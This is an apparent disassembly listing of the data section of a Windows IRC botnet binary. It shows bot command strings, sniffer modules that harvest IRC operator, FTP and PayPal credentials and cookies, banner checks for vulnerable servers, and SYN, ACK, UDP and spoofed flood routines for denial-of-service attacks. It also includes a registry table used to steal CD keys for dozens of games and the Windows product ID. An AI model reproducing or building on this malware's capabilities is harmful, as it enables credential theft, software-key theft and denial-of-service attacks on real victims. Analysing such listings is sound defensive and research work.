dword_44BF94	dd 0			; DATA XREF: sub_412A56+2B2r
aLogin_3	db ':,login',0
		dd 4 dup(0)
aLogin_4	db ':!login',0
		dd 4 dup(0)
a@login		db ':@login',0
		dd 4 dup(0)
aLogin_5	db ':$login',0
		dd 4 dup(0)
aLogin_6	db ':%login',0
		dd 4 dup(0)
aLogin_7	db ':^login',0
		dd 4 dup(0)
aLogin_8	db ':&login',0
		dd 4 dup(0)
aLogin_9	db ':*login',0
		dd 4 dup(0)
aLogin_10	db ':-login',0
		dd 4 dup(0)
aLogin_11	db ':+login',0
		dd 4 dup(0)
aLogin_12	db ':/login',0
		dd 4 dup(0)
aLogin_13	db ':\login',0
		dd 4 dup(0)
aLogin_14	db ':=login',0
		dd 4 dup(0)
a?login		db ':?login',0
		dd 4 dup(0)
aLogin_15	db ':',27h,'login',0
		dd 4 dup(0)
aLogin_16	db ':`login',0
		dd 4 dup(0)
aLogin_17	db ':~login',0
		dd 4 dup(0)
aLogin_18	db ': login',0
		dd 4 dup(0)
a_auth		db ':.auth',0
		align 10h
		dd 4 dup(0)
aAuth		db ':,auth',0
		align 4
		dd 4 dup(0)
aAuth_0		db ':!auth',0
		align 10h
		dd 4 dup(0)
a@auth		db ':@auth',0
		align 4
		dd 4 dup(0)
aAuth_1		db ':$auth',0
		align 10h
		dd 4 dup(0)
aAuth_2		db ':%auth',0
		align 4
		dd 4 dup(0)
aAuth_3		db ':^auth',0
		align 10h
		dd 4 dup(0)
aAuth_4		db ':&auth',0
		align 4
		dd 4 dup(0)
aAuth_5		db ':*auth',0
		align 10h
		dd 4 dup(0)
aAuth_6		db ':-auth',0
		align 4
		dd 4 dup(0)
aAuth_7		db ':+auth',0
		align 10h
		dd 4 dup(0)
aAuth_8		db ':/auth',0
		align 4
		dd 4 dup(0)
aAuth_9		db ':\auth',0
		align 10h
		dd 4 dup(0)
aAuth_10	db ':=auth',0
		align 4
		dd 4 dup(0)
a?auth		db ':?auth',0
		align 10h
		dd 4 dup(0)
aAuth_11	db ':',27h,'auth',0
		align 4
		dd 4 dup(0)
aAuth_12	db ':`auth',0
		align 10h
		dd 4 dup(0)
aAuth_13	db ':~auth',0
		align 4
		dd 4 dup(0)
aAuth_14	db ': auth',0
		align 10h
		dd 4 dup(0)
a_id		db ':.id',0
		align 4
		dd 4 dup(0)
aId_0		db ':,id',0
		align 10h
		dd 4 dup(0)
aId_1		db ':!id',0
		align 4
		dd 4 dup(0)
a@id		db ':@id',0
		align 10h
		dd 4 dup(0)
aId_2		db ':$id',0
		align 4
		dd 4 dup(0)
aId_3		db ':%id',0
		align 10h
		dd 4 dup(0)
aId_4		db ':^id',0
		align 4
		dd 4 dup(0)
aId_5		db ':&id',0
		align 10h
		dd 4 dup(0)
aId_6		db ':*id',0
		align 4
		dd 4 dup(0)
aId_7		db ':-id',0
		align 10h
		dd 4 dup(0)
aId_8		db ':+id',0
		align 4
		dd 4 dup(0)
aId_9		db ':/id',0
		align 10h
		dd 4 dup(0)
aId_10		db ':\id',0
		align 4
		dd 4 dup(0)
aId_11		db ':=id',0
		align 10h
		dd 4 dup(0)
a?id		db ':?id',0
		align 4
		dd 4 dup(0)
aId_12		db ':',27h,'id',0
		align 10h
		dd 4 dup(0)
aId_13		db ':`id',0
		align 4
		dd 4 dup(0)
aId_14		db ':~id',0
		align 10h
		dd 4 dup(0)
aId_15		db ': id',0
		align 4
		dd 4 dup(0)
a_hashin_0	db ':.hashin',0
		align 10h
aHashin_0	db ':!hashin',0
		align 4
		dd 3 dup(0)
aHashin_1	db ':$hashin',0
		align 10h
aHashin_2	db ':%hashin',0
		align 4
		dd 3 dup(0)
a_secure	db ':.secure',0
		align 10h
aSecure_2	db ':!secure',0
		align 4
		dd 3 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
a_syn		db ':.syn',0
		align 10h
		dd 4 dup(0)
aSyn_2		db ':!syn',0
		align 4
		dd 4 dup(0)
aSyn_3		db ':$syn',0
		align 10h
		dd 4 dup(0)
aSyn_4		db ':%syn',0
		align 4
		dd 4 dup(0)
aCdkey		db ' CDKey ',0
		dd 4 dup(0)
aJoin_2		db 'JOIN #',0
		align 4
		dd 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
dword_44C7D8	dd 544F42h		; DATA XREF: .data:off_44BF70o
dword_44C7DC	dd 435249h		; DATA XREF: .data:0044BF74o
dword_44C7E0	dd 505446h		; DATA XREF: .data:0044BF78o
aHttp_0		db 'HTTP',0             ; DATA XREF: .data:0044BF7Co
		align 4
; char asc_44C7EC[]
asc_44C7EC	db '-'                  ; DATA XREF: sub_412A56+85o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
; char asc_44C818[]
asc_44C818	db '-'                  ; DATA XREF: sub_412A56+103o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
; char asc_44C844[]
asc_44C844	db '-'                  ; DATA XREF: sub_412A56+186o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
; char asc_44C874[]
asc_44C874	db '-'                  ; DATA XREF: sub_412A56+317o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
; char aPsniff_0[]
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_412A56+235o
		align 4
; char asc_44C8AC[]
asc_44C8AC	db '-'                  ; DATA XREF: sub_412A56+24Co
		db 3, 34h, 2
		dd 696E7370h, 3026666h,	2Dh
; char asc_44C8BC[]
asc_44C8BC	db '-'                  ; DATA XREF: sub_412A56+2C6o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
; char aBotSniff[]
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412DE1+5o
		align 4
; char aPsniff_1[]
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412DE1+2Bo
		align 4
; char aPsniff_2[]
aPsniff_2	db 'PSNIFF//',0         ; DATA XREF: sub_412DE1+3Co
		align 4
; char aJoin_1[]
aJoin_1		db 'JOIN #',0           ; DATA XREF: sub_412DE1+4Do
		align 4
; char a302[]
a302		db '302 ',0             ; DATA XREF: sub_412DE1:loc_412E43o
		align 4
; char a366[]
a366		db '366 ',0             ; DATA XREF: sub_412DE1+73o
		align 4
; char a_login_0[]
a_login_0	db ':.login',0          ; DATA XREF: sub_412DE1+84o
; char aLogin_0[]
aLogin_0	db ':!login',0          ; DATA XREF: sub_412DE1+95o
; char aLogin_1[]
aLogin_1	db ':!Login',0          ; DATA XREF: sub_412DE1+A6o
; char a_login_1[]
a_login_1	db ':.Login',0          ; DATA XREF: sub_412DE1+B7o
; char a_ident[]
a_ident		db ':.ident',0          ; DATA XREF: sub_412DE1+C8o
; char aIdent_0[]
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412DE1+D9o
; char a_hashin[]
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412DE1+EEo
		align 4
; char aHashin[]
aHashin		db ':!hashin',0         ; DATA XREF: sub_412DE1+103o
		align 4
; char aIrcSniff[]
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412EF8+5o
		align 10h
; char aOper[]
aOper		db 'OPER ',0            ; DATA XREF: sub_412EF8+2Bo
		align 4
; char aNick_2[]
aNick_2		db 'NICK ',0            ; DATA XREF: sub_412EF8:loc_412F38o
		align 10h
; char aOper_0[]
aOper_0		db 'oper ',0            ; DATA XREF: sub_412EF8+51o
		align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412EF8+62o
; char aFtpSniff[]
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412F6E+5o
		align 10h
; char aNick_3[]
aNick_3		db 'NICK ',0            ; DATA XREF: sub_412F6E+2Bo
		align 4
; char a220[]
a220		db '220 ',0             ; DATA XREF: sub_412F6E+3Co
		align 10h
; char a230[]
a230		db '230 ',0             ; DATA XREF: sub_412F6E:loc_412FBFo
		align 4
; char aUser_2[]
aUser_2		db 'USER ',0            ; DATA XREF: sub_412F6E+62o
		align 10h
; char aPass_0[]
aPass_0		db 'PASS ',0            ; DATA XREF: sub_412F6E+73o
		align 4
; char aHttpSniff[]
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412FF5+5o
		align 4
; char aPaypal[]
aPaypal		db 'paypal',0           ; DATA XREF: sub_412FF5+2Bo
		align 4
; char aPaypal_0[]
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412FF5:loc_413035o
		align 4
; char aPaypal_com[]
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_412FF5+51o
		align 10h
; char aPaypal_com_0[]
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_412FF5+62o
		align 4
; char aSetCookie[]
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412FF5+73o
; char aVulnSniff[]
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_41307C+5o
		align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_41307C+2Bo
		align 4
; char aServUFtpServer[]
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_41307C:loc_4130BCo
		align 4
; char aOpenssh_2[]
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_41307C+51o
		align 4
; char asc_44CA64[]
asc_44CA64	db '-'                  ; DATA XREF: sub_4130E1+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 10h
; char asc_44CA90[]
asc_44CA90	db '-'                  ; DATA XREF: sub_4130E1+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
; char aS_34[]
aS_34		db '%s',0               ; DATA XREF: sub_4130E1+228o
		align 4
; char aS_35[]
aS_35		db '%s',0               ; DATA XREF: sub_4130E1+250o
		align 4
unk_44CAC8	db  2Dh	; -		; DATA XREF: sub_4130E1+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CAFC	db  2Dh	; -		; DATA XREF: sub_4130E1+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CB30	db  2Dh	; -		; DATA XREF: sub_4130E1+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_44CB64[]
asc_44CB64	db '-'                  ; DATA XREF: sub_4130E1+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44CB9C	db  2Dh	; -		; DATA XREF: sub_4130E1+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
; char asc_44CBD4[]
asc_44CBD4	db '-'                  ; DATA XREF: sub_4134D4+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
; char aDdos_syn_0[]
aDdos_syn_0	db 'ddos.syn',0         ; DATA XREF: sub_413589+F1o
		align 4
; char aDdos_ack_0[]
aDdos_ack_0	db 'ddos.ack',0         ; DATA XREF: sub_413589:loc_413699o
		align 4
; char aDdos_random_0[]
aDdos_random_0	db 'ddos.random',0      ; DATA XREF: sub_413589:loc_4136B5o
; char asc_44CC20[]
asc_44CC20	db '-'                  ; DATA XREF: sub_413589+302o
		db 3, 34h, 2
		dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
		dd 6425h
; char asc_44CC3C[]
asc_44CC3C	db '-'                  ; DATA XREF: sub_41391E+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 4
; char asc_44CC68[]
asc_44CC68	db '-'                  ; DATA XREF: sub_41391E+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
; char asc_44CC98[]
asc_44CC98	db '-'                  ; DATA XREF: sub_41391E+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
; char asc_44CCB8[]
asc_44CCB8	db '-'                  ; DATA XREF: sub_41391E+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 10h
; char asc_44CD00[]
asc_44CD00	db '-'                  ; DATA XREF: sub_41391E+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
; char asc_44CD4C[]
asc_44CD4C	db '-'                  ; DATA XREF: sub_413D05+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
; char asc_44CD74[]
asc_44CD74	db '-'                  ; DATA XREF: sub_413D05+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 10h
; char asc_44CDA0[]
asc_44CDA0	db '-'                  ; DATA XREF: sub_413E91+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
; char asc_44CDC8[]
asc_44CDC8	db '-'                  ; DATA XREF: sub_413E91+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
; char asc_44CDF4[]
asc_44CDF4	db '-'                  ; DATA XREF: sub_4140A7+4Bo
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 10h
; char asc_44CE20[]
asc_44CE20	db '-'                  ; DATA XREF: sub_41424D+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
; char asc_44CE48[]
asc_44CE48	db '-'                  ; DATA XREF: sub_4142EC+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
; char asc_44CE68[]
asc_44CE68	db '-'                  ; DATA XREF: sub_4145F8+4Fo
		db 3, 34h, 2
		dd 67726174h, 3023361h
aDoneWithFlood_	db '- Done with flood.',0
		align 4
; char asc_44CE88[]
asc_44CE88	db '-'                  ; DATA XREF: sub_4148B6+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
; char asc_44CEBC[]
asc_44CEBC	db '-'                  ; DATA XREF: sub_4148B6+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char asc_44CEF4[]
asc_44CEF4	db '-'                  ; DATA XREF: sub_4148B6+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
; char aSyn_1[]
aSyn_1		db 'syn',0              ; DATA XREF: sub_4148B6+2D2o
; char aAck_0[]
aAck_0		db 'ack',0              ; DATA XREF: sub_4148B6+2F2o
; char aRandom_2[]
aRandom_2	db 'random',0           ; DATA XREF: sub_4148B6+312o
		align 4
; char asc_44CF24[]
asc_44CF24	db '-'                  ; DATA XREF: sub_4148B6+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
; char asc_44CF74[]
asc_44CF74	db '-'                  ; DATA XREF: sub_4148B6+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
; char asc_44CFC4[]
asc_44CFC4	db '-'                  ; DATA XREF: sub_414E4C+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
; char aD_D_D_D_1[]
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_414F04+C9o
; char asc_44D004[]
asc_44D004	db '-'                  ; DATA XREF: sub_41514F+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
; char asc_44D044[]
asc_44D044	db '-'                  ; DATA XREF: sub_4151C6+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
unk_44D070	db  2Dh	; -		; DATA XREF: sub_4151C6+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 10h
; char asc_44D0C0[]
asc_44D0C0	db '-'                  ; DATA XREF: sub_4151C6+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
; char asc_44D104[]
asc_44D104	db '-'                  ; DATA XREF: sub_4151C6+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
; char aD_D_D_D_2[]
aD_D_D_D_2	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4151C6+180o
unk_44D13C	db  2Dh	; -		; DATA XREF: sub_4151C6+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_44D1C8[]
asc_44D1C8	db '-'                  ; DATA XREF: sub_4151C6+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
; char asc_44D22C[]
asc_44D22C	db '-'                  ; DATA XREF: sub_415512+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
; char asc_44D258[]
asc_44D258	db ' ',0                ; DATA XREF: sub_4156AF+1C5o
		align 4
; char aSD[]
aSD		db '%s%d ',0            ; DATA XREF: sub_4156AF+207o
		align 4
dword_44D264	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415BC7+10o
; char aD_[]
aD_		db '%d. '               ; DATA XREF: sub_415BC7+35o
		dd 73253403h, 203D2003h, 73253703h, 3
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415C3F+60o
		align 10h
dword_44D2B0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .text:00415CFBo
dword_44D2BC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415D7C+20o
dword_44D2D0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415D7C:loc_415DB1o
dword_44D2E4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415DEF+3Fo
		dd 676E6974h, 0
; char asc_44D300[]
asc_44D300	db '-'                  ; DATA XREF: sub_415DEF+DCo
		db 3, 34h, 2
		dd 2676F6Ch, 6C202D03h,	20747369h, 706D6F63h, 6574656Ch
		dd 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_415F1E+11o
aWindow		db 'Window',0           ; DATA XREF: sub_416159+23o
		align 4
aWindow_0	db 'Window',0           ; DATA XREF: sub_416352+26o
		align 8
		dd 80000001h
off_44D33C	dd offset aSoftwareValveC ; DATA XREF: sub_416591+Cr
					; sub_416591+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey_0	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44D348	dd 2 dup(0)		; DATA XREF: sub_416591+26o
		dd 80000001h
		dd offset aSoftwareEugenS ; "Software\\Eugen Systems\\The Gladiators"
		dd offset aRegnumber	; "RegNumber"
		dd offset aTheGladiators ; "The	Gladiators"
		dd 2 dup(0)
		dd 80000001h
		dd offset aSoftwareValveG ; "Software\\Valve\\Gunman\\Settings"
		dd offset aKey_0	; "Key"
		dd offset aGunmanChronicl ; "Gunman Chronicles"
		align 10h
		dd 80000001h
		dd offset aSoftwareValveH ; "Software\\Valve\\Half-Life\\Settings"
		dd offset aKey_1	; "Key"
		dd offset aHalfLife	; "Half-Life"
		dd 2 dup(0)
		dd 80000001h
		dd offset aSoftwareJowood ; "Software\\JoWooD\\InstalledGames\\IG2"
		dd offset aPrvkey	; "prvkey"
		dd offset aIndustryGiant2 ; "Industry Giant 2"
		align 10h
		dd 80000001h
		dd offset aSoftware3d0Sta ; "Software\\3d0\\Status"
		dd offset aCustomernumber ; "CustomerNumber"
		dd offset aLegendsOfMight ; "Legends of	Might and Magic"
		dd 2 dup(0)
		dd 80000001h
		dd offset aSoftwareSilver ; "Software\\Silver Style Entertainment\\Sol"...
		dd offset aCdkey_1	; "CDKey"
		dd offset aSoldiersOfAnar ; "Soldiers Of Anarchy"
		align 10h
		dd 80000002h
		dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aProductid	; "ProductId"
		dd offset aMicrosoftWindo ; "Microsoft Windows Product ID"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareUnreal ; "Software\\Unreal Technology\\Installed Ap"...
		dd offset aCdkey_2	; "CDKey"
		dd offset aUnrealTourname ; "Unreal Tournament 2003"
		align 10h
		dd 80000002h
		dd offset aSoftwareUnre_0 ; "Software\\Unreal Technology\\Installed Ap"...
		dd offset aCdkey_3	; "CDKey"
		dd offset aUnrealTourna_0 ; "Unreal Tournament 2004"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareIgi2Re ; "Software\\IGI 2 Retail"
		dd offset aCdkey_4	; "CDKey"
		dd offset aIgi2CovertStri ; "IGI 2: Covert Strike"
		align 10h
		dd 80000002h
		dd offset aSoftwareElectr ; "Software\\Electronic Arts\\EA Distributio"...
		dd offset dword_4EAD78
		dd offset aFreedomForce	; "Freedom Force"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_0 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EAD7C
		dd offset aBattlefield194 ; "Battlefield 1942"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_1 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EAD80
		dd offset aBattlefield1_0 ; "Battlefield 1942 (Road To Rome)"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_2 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EAD84
		dd offset aBattlefield1_1 ; "Battlefield 1942 (Secret Weapons of WWI"...
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_3 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
		dd offset dword_4EAD88
		dd offset aBattlefieldVie ; "Battlefield Vietnam"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_4 ; "Software\\Electronic Arts\\EA GAMES\\Black"...
		dd offset dword_4EAD8C
		dd offset aBlackAndWhite ; "Black and White"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_5 ; "Software\\Electronic Arts\\EA GAMES\\Comma"...
		dd offset dword_4EAD90
		dd offset aCommandAndConq ; "Command and Conquer: Generals (Zero Hou"...
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_6 ; "Software\\Electronic Arts\\EA GAMES\\James"...
		dd offset dword_4EAD94
		dd offset aJamesBond007Ni ; "James Bond	007: Nightfire"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_7 ; "Software\\Electronic Arts\\EA GAMES\\Gener"...
		dd offset dword_4EAD98
		dd offset aCommandAndCo_0 ; "Command and Conquer: Generals"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareElec_8 ; "Software\\Electronic Arts\\EA GAMES\\Globa"...
		dd offset dword_4EAD9C
		dd offset aGlobalOperatio ; "Global Operations"
		align 10h
		dd 80000002h
		dd offset aSoftwareElec_9 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EADA0
		dd offset aMedalOfHonorAl ; "Medal of Honor: Allied Assault"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_10 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EADA4
		dd offset aMedalOfHonor_0 ; "Medal of Honor: Allied Assault: Breakth"...
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_11 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
		dd offset dword_4EADA8
		dd offset aMedalOfHonor_1 ; "Medal of Honor: Allied Assault: Spearhe"...
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_12 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
		dd offset aErgc		; "ergc"
		dd offset aNeedForSpeedHo ; "Need For Speed Hot	Pursuit	2"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_13 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
		dd offset dword_4EADAC
		dd offset aNeedForSpeedUn ; "Need For Speed: Underground"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_14 ; "Software\\Electronic Arts\\EA GAMES\\Shogu"...
		dd offset dword_4EADB0
		dd offset aShogunTotalWar ; "Shogun: Total War:	Warlord	Edition"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_15 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
		dd offset dword_4EADB4
		dd offset aFifa2002	; "FIFA	2002"
		dd 2 dup(0)
		dd 80000002h
